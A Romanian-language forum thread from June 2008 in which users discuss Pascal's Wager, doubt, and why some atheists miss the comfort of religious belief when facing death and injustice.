mihaela, se pare ca pariurile nu-s o optiune viabila pentru credinciosi! Ma tem ca esti pe calesa pierzi si Pariul lui Pascal!smileys/smiley1.gifsmileys/smiley36.gif


Ceea ce nu e neaparat foarte rau devreme ce
... prea multe intrebari imi sunt fara raspuns... "not enough evidence God, not enough evidence"smileys/smiley36.gif

fifi
14.06.2008, 14:59
..."not enough evidence God, not enough evidence"smileys/smiley36.gif


contiui si eu:


"Give me a sign!" pana cand se ajunge la "I saw the light, can you feel the power?!" smileys/smiley36.gif

mihaela75
14.06.2008, 16:54
Mai Tony42 ,cum ma trimiti tu la studiat acum la batranete cand ma gandeam ca gata agat cartea-n cui...am gogalit pariul asta al lui Pascal sa vad ce-i cu el ...nu ca as fi priceput ceva smileys/smiley36.gifDar mi-a placut replica " not enough evidence, God " chiar daca nu stiu de unde-i luata smileys/smiley9.gif.Chiar asa , nu prea sunt dovezi ...cam multa ceata smileys/smiley4.gif

fl%rin
14.06.2008, 18:38
mihaela75, vreau sa te felicit si sa-ti spun ca mi-ai reaprins speranta cum ca ratiunea poate invinge. Din cate stiu eu, simplificat, Pariul lui Pascal se refera la potentiala polita de asigurare pe care ar da-o credinta in dumnezeu. Numai ca ce te faci daca (asa cum este cazul meu si se pare ca si al tau), pur si simplu nu poti crede in dumnezeu, chiar daca vrei. Nu te poti pacali pe tine (asa cum multi fac). Asa ceva se numeste, am mai spus, onestitate intelectuala, iar aceasta nu poate fi, dupa parerea mea, compatibila cu Pariul lui Pascal.

tonita
15.06.2008, 01:16
....nu ca as fi priceput ceva http://www.romanian-portal.com/forum/smileys/smiley36.gifDar mi-a placut replica " not enough evidence, God " chiar daca nu stiu de unde-i luata http://www.romanian-portal.com/forum/smileys/smiley9.gif.Chiar asa , nu prea sunt dovezi ...cam multa ceata http://www.romanian-portal.com/forum/smileys/smiley4.gif


Ei, mihaela, lasa modestia la o parteca ai priceput!


Asa e, ar fi bun un semn acolo, unul c

idontknow
16.06.2008, 01:17
De ce vrei sa crezi?? (Desigur imi raspunzi doar daca intrebarea nu e prea intima)


Stiu ca intrebarea nu imi era adresata mie, insa imi permit sa ma bag ca musca-n laptesmileys/smiley36.gifsi sa raspund eu. In primul rand, vreau sa cred pentru ca asta mi-ar oferi un raspuns in legatura cu sensul si cu scopul vietii mele. De fapt, asta era acum ceva timp, pentru ca la un moment dat obosesti sa tot gandestiasa si iti spui "da mai da-le-n colo, n-as putea doar sa traiesc si apoi sa mor si cu asta basta, fara nici un stress, fara nici un Dumnezeu?". Insa aici intervine o problema: golul spiritual al uneipersoane care a primit educatie religioasa din copilarie: ceva lipseste sau ceva va lipsi macar la maturitate sau la batranete, cand tot omul cauta un raspuns la intrebarile metafizice. In al doilea rand, m-ar scuti de cautarile spirituale si de frustrarea de a nu gasi nimic. Apoi, as reveni cat de cat la existenta linistita(din punct de vedere religios)de pe vremea cand eram credincioasa, adica: te straduiesti sarespecti niste reguli impuse de morala (bine, pe astea cu sau fara religie oricum se straduieste omul sa le respecte, cu exceptia celor la care functioneaza mai bine "Daca..., vei arde vesnic in Iad!"smileys/smiley36.gif), de Biblie sau chiar de Biserica, iar daca ai si reusit vei trai cu constiinta impacata, deci, in final, e de preferat sa traiesti toata viata incatusat in niste "dogme"(care, la urma urmei, nu sunt decat porunci morale motivate partial de povesti nemuritoare-dar care totusi reprezinta esenta pt ca fiinta umana satinda spre fericire adevarata-si adaugite cu niscavai obiceiuri, traditii-si alea paganesmileys/smiley18.gif), decat sa iti faci rau fizic si psihic (ex. consumul de droguri, tigari, atitudine negativa fata de ceilalti,sex de la o varsta frageda, ca sa nu mai vorbesc de furturi, crime etc) si apoi sa suporti consecintele si mustrarile de contiinta. Iar la sfarsit, ramane imoralul pariu al lui Pascalsmileys/smiley36.gif(dar care nici pe mine nu ma poate face sa credsmileys/smiley5.gif).

fl%rin
16.06.2008, 09:01
Salutare Toni. Mai toate motivele pentru care as vrea sa pot crede tin de confort. Primul si cel mai important ar fi moartea celor apropiati (care vrei, nu vrei, va avea loc). Apoi cred ca mi-ar placea sa existe viata dupa moarte (dar nu vesnica). Iar in ultimul rand ar fi ordinea si dreptatea in viata. Daca vrei sa intru in detalii, imi spui.
Ma bucur ca ai revenit pe forum.

tonita
16.06.2008, 09:40
Nu-i bai idontknow. Si de bun simtz ceea ce zici. Ma intereseaza de ce un un ateu ar vrea sa creada, iar daca e vorba de florin10 cu at

lara_iulia
16.06.2008, 09:41
Mai toate motivele pentru care as vrea sa pot crede tin de confort. Primul si cel mai important ar fi moartea celor apropiati (care vrei, nu vrei, va avea loc). Apoi cred ca mi-ar placea sa existe viata dupa moarte (dar nu vesnica). Iar in ultimul rand ar fi ordinea si dreptatea in viata. Daca vrei sa intru in detalii, imi spui.


Stiu ca nu mie mi-a fost adresat, dar daca este valabil atunci te-as ruga eu ca sa intri in detalii.


p.s. abia acum am vazut ca si Toni42 a fost pe faza si a reusit sa posteze inaintea mea.smileys/smiley9.gif

mihaela75
16.06.2008, 09:58
Nu stiu cum se simt ceilaltei atei dar eu va spun ca nu ma simt bine deloc, ratiunea poate ca a invins dar mai bine nu invingea ca acum vorba voastra ma cam chinuie,parca mi s-a luat toiagul de care ma sprijineam si sunt singura doar eu cu mine.Era comod si placut sa cred ca un D-zeu e colo mereu pentru mine ,acum puterea rugaciunii s-a transformat in '"legea atractiei " si tot ce era bazat pe credinta si divinitate acum e bazat pe teorii stiintifice care la un momentdat nici pe astea nu le gasesc .Sper sa ies din nebuloasa intr-o zi , atee convinsa sau reintoarsa la D-zeu.nu conteaza dar vrea liniste smileys/smiley7.gif

fl%rin
16.06.2008, 13:43
Da Toni, la confortul emotional ma refer. Atunci cand iti moare cineva apropiat durerea se mai atenueaza daca crezi ca de fapt nu a murit, ci s-a dus intr-o viata mai buna (de preferat) si ca ar mai exista posibilitatea sa reintalnesti persoana respectiva. A fi ateu presupune sa iei in piept toata forta durerii, neatenuata de nimic, si sa inveti sa traiesti cu ea. Apoi mi-ar placea sa stiu ca nenorocitii care scapa de bratul uneori scurt al legii ar plati pentru tot ce au facut, pana la cea mai mica fapta, iar asta ar insemna ordine si echilibru. Intr-o lume ateista, in care viata nu are scop si finalitate, nu exista echilibru din punctul asta de vedere si orice este permis, teoretic. Asa cum spune si Mihaela, este comod si placut sa crezi ca exista un dumnezeu care te asculta si ajuta. In privinta asta, mai toti oamenii sunt niste copii mari.
Cu toate astea insa, sper ca ratiunea sa invinga, pentru ca solutia problemelor nu este autoamagirea. Poate parea ca este o solutie, mai ales pe termen scurt, dar creeaza de fapt probleme mai mari decat rezolva. Vezi statele islamiste sau crestinismul in Evul Mediu. Eu unul nu as vrea sa traiesc in asemenea conditii, iar religia aplicata va duce invariabil spre asemenea societati. Intradevar, doare uneori ratiunea, durerea suprema fiind atunci cand iti moare cineva apropiat si stii ca a incetat permanent din viata, dar nu ma pot minti. Pur si simplu nu pot, asa sunt eu. Sa nu ma pui sa iti spun de ce, pentru ca nu stiu. Sper ca am raspuns tuturor.